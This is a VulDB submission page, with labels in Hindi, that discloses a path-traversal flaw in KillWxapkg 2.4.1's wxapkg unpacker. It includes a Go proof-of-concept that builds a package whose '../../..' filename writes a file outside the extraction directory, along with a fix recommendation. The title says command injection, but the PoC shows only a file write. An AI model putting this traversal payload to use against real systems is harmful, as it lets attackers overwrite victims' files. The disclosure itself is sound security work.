| शीर्षक | KillWxapkg v2.4.1 OS Command Injection |
|---|
| विवरण | **Vulnerability Report: Malicious `wxapkg` File Leading to Arbitrary File Write and Command Execution**
**Summary:**
A vulnerability was discovered in the handling of `wxapkg` files (WeChat Mini Program package format). By crafting a malicious `wxapkg` file, an attacker can exploit improper validation during package parsing and extraction. This leads to arbitrary file write on the host file system and can be further escalated to remote command execution under certain conditions.
**Vulnerability Details:**
* **Affected Component**: `wxapkg` file parsing and extraction logic
* **Type of Vulnerability**: Arbitrary File Write, Command Execution
* **Attack Vector**: Malicious `wxapkg` file
**Proof of Concept (PoC):**
A proof-of-concept `wxapkg` file was crafted containing:
```go
package unpack
import (
"bytes"
"encoding/binary"
"testing"
)
func createTestWxapkg() []byte {
var buf bytes.Buffer
// header
buf.WriteByte(0xBE)
binary.Write(&buf, binary.BigEndian, uint32(0))
indexLenPos := buf.Len()
binary.Write(&buf, binary.BigEndian, uint32(0)) // indexInfoLength
binary.Write(&buf, binary.BigEndian, uint32(0)) // bodyInfoLength
buf.WriteByte(0xED)
// files
// files number
binary.Write(&buf, binary.BigEndian, uint32(1))
indexStart := buf.Len()
filename := "../../../../../../../../Users/whoami/Desktop/zznq.txt"
fileContent := []byte("zznq todo")
binary.Write(&buf, binary.BigEndian, uint32(len(filename)))
buf.WriteString(filename)
dataOffsetPos := buf.Len()
binary.Write(&buf, binary.BigEndian, uint32(0))
binary.Write(&buf, binary.BigEndian, uint32(len(fileContent)))
b := buf.Bytes()
binary.BigEndian.PutUint32(b[indexLenPos:], uint32(buf.Len()-indexStart))
binary.BigEndian.PutUint32(b[indexLenPos+4:], uint32(len(fileContent)))
// data body
fileDataPos := buf.Len()
buf.Write(fileContent)
b = buf.Bytes()
binary.BigEndian.PutUint32(b[dataOffsetPos:], uint32(fileDataPos))
return buf.Bytes()
}
func TestUnPack(t *testing.T) {
data := createTestWxapkg()
t.Log(UnpackWxapkg(data, "./"))
}
```
**Recommendations:**
* Implement strict path sanitization when extracting `wxapkg` files：[unpack.go#L179](https://github.com/Ackites/KillWxapkg/blob/master/internal/unpack/unpack.go#L179)
**Severity: Critical**
|
|---|
| स्रोत | ⚠️ https://github.com/Ackites/KillWxapkg/issues/85 |
|---|
| उपयोगकर्ता | zznQ (UID 64000) |
|---|
| सबमिशन | 19/05/2025 09:43 AM (1 वर्ष पहले) |
|---|
| संयम | 21/05/2025 12:58 PM (2 days later) |
|---|
| स्थिति | स्वीकृत |
|---|
| VulDB प्रविष्टि | 309850 [Ackites KillWxapkg तक 2.4.1 wxapkg File Parser unpack.go processFile अधिकार वृद्धि] |
|---|
| अंक | 20 |
|---|